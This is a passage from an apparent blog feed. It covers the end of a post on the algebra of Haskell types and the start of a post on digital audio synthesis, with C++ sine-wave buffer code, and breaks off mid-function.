&lt;span class=&quot;token hvariable&quot;&gt;toLHS&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You may verify that the bijections&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; hold, i.e. show that $&#92;texttt{toLHS }(&#92;texttt{toRHS } x) = x$ and $&#92;texttt{toRHS }(&#92;texttt{toLHS } y) = y$ for any $x$ and $y$.&lt;/p&gt;
&lt;p&gt;As for other algebraic constructions, I shall kindly leave them as an exercise for the reader. 🙃 Try coming up with examples of types and bijections for the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Associativity: $(a + b) + c = a + (b + c)$, $(ab)c = a(bc)$&lt;/li&gt;
&lt;li&gt;Commutativity: $a + b = b + a$, $ab = ba$&lt;/li&gt;
&lt;li&gt;Distribution: $a(b + c) = ab + ac$&lt;/li&gt;
&lt;li&gt;Null: $0a = 0$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;enums-as-sum-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#enums-as-sum-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Enums as Sum Types&lt;/h3&gt;
&lt;p&gt;An aside regarding sum types and enums.&lt;/p&gt;
&lt;p&gt;Early on I mentioned sum types as &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#motivation-for-adts&quot;&gt;a way to combine &lt;em&gt;types&lt;/em&gt;&lt;/a&gt;. Then I suggested &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#sum-types&quot;&gt;&lt;em&gt;enums&lt;/em&gt; as an example of sum types&lt;/a&gt;… But we usually think of enums as combining &lt;em&gt;values&lt;/em&gt;, not &lt;em&gt;types&lt;/em&gt;. What’s going on here?&lt;/p&gt;
&lt;p&gt;Well, one way to view enums is to treat each value as if they take a unit type &lt;code&gt;()&lt;/code&gt; parameter. That is,&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;True&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(N.B. $&#92;texttt{Bool} &#92;equiv &#92;texttt{Either () ()}$.)&lt;/p&gt;
&lt;p&gt;Here, &lt;code&gt;False&lt;/code&gt; is a &lt;em&gt;data constructor&lt;/em&gt; while &lt;code&gt;()&lt;/code&gt; is a &lt;em&gt;type&lt;/em&gt;. In this version of &lt;code&gt;Bool&lt;/code&gt;, we’re basically combining a bunch of unit types &lt;code&gt;()&lt;/code&gt; using different tags.&lt;/p&gt;
&lt;p&gt;In this regard, we can think of enums as sugar-coated sum types; and conversely, sum types can be thought of as glorified enums. We’ve seen how enums and sum types can be defined similarly in Haskell. The same goes for Rust and Scala 3, where the &lt;code&gt;enum&lt;/code&gt; keyword is not only used to define enums, but also sum types (and in general, ADTs).&lt;/p&gt;
&lt;h2 id=&quot;conclusion-and-recap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#conclusion-and-recap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion and Recap&lt;/h2&gt;
&lt;p&gt;Is that all?&lt;/p&gt;
&lt;p&gt;Au contraire.&lt;/p&gt;
&lt;p&gt;Algebraic data types may be sufficient for most use cases, but we’ve only scratched the surface. There are more quirky animals out there! Generalised ADTs. Union/disjunctive types. Conjunctive/intersection types. Pi types.&lt;/p&gt;
&lt;p&gt;But to recap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Algebraic data types (ADTs)&lt;/strong&gt; consist of &lt;em&gt;product types&lt;/em&gt; and &lt;em&gt;sum types&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;By leveraging ADTs, we can write code that is meaningful and concise, modelling the real world more closely.&lt;/li&gt;
&lt;li&gt;There are two main forms of ADTs. Both enable us to combine smaller types into larger types.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Product types&lt;/strong&gt; can be thought of as a &lt;em&gt;multiplication on types&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Similarly, &lt;strong&gt;sum types&lt;/strong&gt; are like a &lt;em&gt;summation on types&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ADTs follow mathematical laws similar to other structures (e.g. the integers), but without the inverse property. These mathematical laws allow us to rigorously reason with types.
&lt;ul&gt;
&lt;li&gt;We can express ADTs through a mathematical algebra such as $|&#92;texttt{(a, b)}| = a &#92;times b$ and $|&#92;texttt{Either a b}| = a + b$.&lt;/li&gt;
&lt;li&gt;Types with an equivalent algebraic representation are &lt;strong&gt;isomorphic&lt;/strong&gt;. This may prove useful in refactoring and optimising.&lt;/li&gt;
&lt;li&gt;The algebra of types follows &lt;strong&gt;algebraic laws&lt;/strong&gt; similar to the laws for integers and other algebras. There are laws on identity (e.g. $0 + a = a$), associativity, distribution, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Thus, in addition to their utilitarian use, types also exhibit an aesthetic beauty.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;references-further-reading&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#references-further-reading&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; References/Further Reading&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/gregberns/5e9da0c95a9a8d2b6338afe69310b945&quot;&gt;The Algebra of Algebraic Data Types: Part 1&lt;/a&gt; by Chris Taylor&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kseo.github.io/posts/2016-12-25-type-isomorphism.html&quot;&gt;Type Isomorphism&lt;/a&gt; by Kwang Yul Seo&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20140122164049/http://chris-taylor.github.io/blog/2013/02/11/the-algebra-of-algebraic-data-types-part-ii/&quot;&gt;The Algebra of Algebraic Data Types: Part 2&lt;/a&gt; by Chris Taylor (dives into recursive ADTs!)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;We could do the same in C++ by using &lt;a href=&quot;https://theboostcpplibraries.com/boost.variant&quot;&gt;Boost variant&lt;/a&gt;, using &lt;a href=&quot;https://en.cppreference.com/w/cpp/utility/variant&quot;&gt;C++17’s &lt;code&gt;std::variant&lt;/code&gt;&lt;/a&gt;, or using a tagged union (which is just a &lt;code&gt;union&lt;/code&gt; with a &lt;code&gt;uint8_t&lt;/code&gt;/&lt;code&gt;int&lt;/code&gt; tag). &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;code&gt;std::optional&lt;/code&gt; was introduced in C++17, and &lt;code&gt;std::expected&lt;/code&gt; is expected (haha) to arrive with C++23. You can still pull these types from various libraries though. &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;I should mention—there are significant differences between types and sets. But please bear with me, for the sake of this post. ._. &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;A &lt;a href=&quot;https://en.wikipedia.org/wiki/Bijection&quot;&gt;bijection&lt;/a&gt; is also known as a &lt;em&gt;one-to-one correspondence&lt;/em&gt; or &lt;em&gt;invertible&lt;/em&gt; function. Each input must map to one (and only one) unique output.
&lt;br /&gt;
Functions such as $x &#92;mapsto &#92;sqrt{x}$ and $x &#92;mapsto &#92;lfloor x &#92;rfloor$ are not bijections since multiple inputs may map to the same output—we can&#39;t recover a unique input given an output. This is the whole idea of being &lt;em&gt;invertible&lt;/em&gt;. &lt;a href=&quot;https://trebledj.me/posts/the-mathematics-of-types/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>mathematics</category>
        
          <category>haskell</category>
        
          <category>types</category>
        
          <category>functional</category>
        
          <category>software-engineering</category>
        
          <category>programming-languages</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Digital Audio Synthesis for Dummies: Part 2</title>
        <description>Generating audio signals for great good through additive synthesis and wavetable synthesis.</description>
        <link href="https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/"/>
        <updated>2023-03-09T00:00:00Z</updated>
        <id>https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This is the second post in a series of posts on Digital Audio Processing. Similar to the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1&quot;&gt;previous post&lt;/a&gt;, this post stems from a lil’ &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard&quot;&gt;MIDI keyboard&lt;/a&gt; project I worked on last semester and is an attempt to share the knowledge I&#39;ve gained with others. This post will dive into the wonderful world of audio synthesis and introduce two important synthesis techniques: additive synthesis and wavetable synthesis.&lt;/p&gt;
&lt;h2 id=&quot;audio-synthesis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#audio-synthesis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Audio Synthesis 🎶&lt;/h2&gt;
&lt;p&gt;Where do audio signals come from? Our signal might be…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;recorded&lt;/strong&gt;. Sound waves are picked up by special hardware (e.g. a microphone) and translated to a digital signal through an &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Analog-to-Digital Converter&quot;&gt;ADC&lt;/abbr&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;loaded&lt;/strong&gt; from a file. There are many audio formats out there, but the most common ones are .wav and .mp3. The .wav format is simple: just store the samples as-is. Other formats compress audio to achieve smaller file sizes (which in turn, means faster upload/download speeds).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;synthesised&lt;/strong&gt;. We generate audio out of thin air (or rather, code and electronics).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’ll mainly focus on &lt;strong&gt;synthesis&lt;/strong&gt;. We’ll start by finding out how to generate a single tone, then learn how to generate multiple tones simultaneously.&lt;/p&gt;
&lt;h2 id=&quot;buffering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#buffering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Buffering 📦&lt;/h2&gt;
&lt;p&gt;A naive approach to generate audio might be:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Process one sample&lt;/li&gt;
&lt;li&gt;Feed it to the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Digital-to-Analogue Converter&quot;&gt;DAC&lt;/abbr&gt;/speaker&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But there are several issues with this: function call overhead may impact performance, and we have little room left to do other things. For the sound to play smoothly while sampling at 44100Hz, each sample needs to be delivered within $&#92;frac{1}{44100}$ s = $22.6$ µs.&lt;/p&gt;
&lt;p&gt;A better approach is to use a &lt;em&gt;buffer&lt;/em&gt; and work in batches. The buffer will hold onto our samples before feeding it to the speaker.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Process $N$ samples and store them in a buffer&lt;/li&gt;
&lt;li&gt;Feed all $N$ samples to the DAC/speaker&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We&#39;ll focus more on step 1 (processing) for now. We&#39;ll cover step 2 (output) in the next post.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In a previous post, we discussed &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1#quantisation&quot;&gt;quantisation&lt;/a&gt; and how different representations (such as integers and floats) are suited for different tasks. Integers are discrete numbers, while floats are (imprecise) real numbers. Since we&#39;re concerned with audio processing, we&#39;ll be using floats and quantising from -1 to 1.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In C/C++, we can generate a sine tone like so:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;44100&lt;/span&gt;  &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Number of samples per second.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;   &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Length of the buffer.&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Define an array for storing samples.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Buffer of samples to populate, each ranging from -1 to 1.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/**
 * Generate samples of a sine wave and store them in a buffer.
 * @param freq  Frequency of the sine wave, in Hz.
 */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_samples&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Populate the buffer with a sine tone with frequency `freq`.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; PI &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; freq &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; SAMPLE_RATE&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And that’s it—we’ve just whooshed pure sine tone goodness from nothing! Granted, there are some flaws with this method (it could be more efficient, and the signal clicks when repeated); but hey, it demonstrates synthesis.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Note on Buffers: Usually, the buffer size is medium-sized power of 2 (e.g. 512, 1024, 2048, 4096...). This enhances cache loads and processing speed (dividing by a power of 2 is super easy for processors!).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;the-fourier-theorem&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#the-fourier-theorem&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Fourier Theorem 📊&lt;/h2&gt;
&lt;p&gt;One fundamental theorem in signal processing is the &lt;strong&gt;Fourier Theorem&lt;/strong&gt;, which relates to the composition of signals. It can be summarised into:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Any &lt;em&gt;periodic&lt;/em&gt; signal can be &lt;em&gt;broken down&lt;/em&gt; into a &lt;em&gt;sum&lt;/em&gt; of sine waves.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We can express this mathematically as
$$
f(x) = a_0&#92;sin(f_0x + b_0) + a_1&#92;sin(f_1x + b_1) + &#92;cdots + a_n&#92;sin(f_nx + b_n)
$$
where $a_i$, $f_i$, and $b_i$ are the amplitude, frequency, and phase of each constituent sine wave.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Skipper&#39;s partial to Fourier. They&#39;re the best of chums.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1125w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1125w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1125 / 832&quot; alt=&quot;Skipper&#39;s partial to Fourier. They&#39;re the best of chums.&quot; title=&quot;Skipper&#39;s partial to Fourier. They&#39;re the best of chums.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/fourier-analysis-1125w.webp 1125w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1125px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The Fourier Theorem and Fourier Transform are ubiquitous in modern day technology. It is the basis for many audio processing techniques such as filtering, equalisation, and noise cancellation. By manipulating the individual sine waves that make up a sound, we can alter its characteristics and create new sounds. The Fourier Transform is also a key component in compression, such as the JPG image format.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;What’s cool about this theorem is that we can apply it the other way: any periodic signal can be &lt;em&gt;generated&lt;/em&gt; by adding sine waves. This lays the groundwork for additive synthesis and generating audio with multiple pitches (e.g. a chord).&lt;/p&gt;
&lt;h2 id=&quot;additive-synthesis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2/#additive-synthesis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Additive Synthesis ➕&lt;/h2&gt;
&lt;p&gt;The principle of &lt;strong&gt;additive synthesis&lt;/strong&gt; is pretty straightforward: signals can be combined by adding samples along time.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Example of additive synthesis, localised on this very webpage.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-640w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-640w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 640 / 480&quot; alt=&quot;Example of additive synthesis, localised on this very webpage.&quot; title=&quot;Example of additive synthesis, localised on this very webpage.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/additive-synthesis-640w.webp 640w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 640px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of additive synthesis. The first and second signal show pure sine tones at 440Hz ($s_1$) and 660Hz ($s_2$). The third signal adds the two signals ($s_1 + s_2$). The fourth signal scales the third signal down to fit within $[-1, 1]$ ($(s_1 + s_2) / 2$). (&lt;a href=&quot;https://gist.github.com/TrebledJ/14b8842ef3696b09e299c34ba0da9e6c&quot;&gt;Source Code&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;To sound another pitch, we simply add a second sine wave to the buffer.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;SAMPLE_RATE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;44100&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name&quot;&gt;BUFFER_SIZE&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/**
 * Generate samples of two sine waves played together and store them in a buffer.
 * @param freq  Frequency of the first sine wave, in Hz.
 * @param freq2 Frequency of the second sine wave, in Hz.
 */&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;generate_samples2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; freq2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; BUFFER_SIZE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
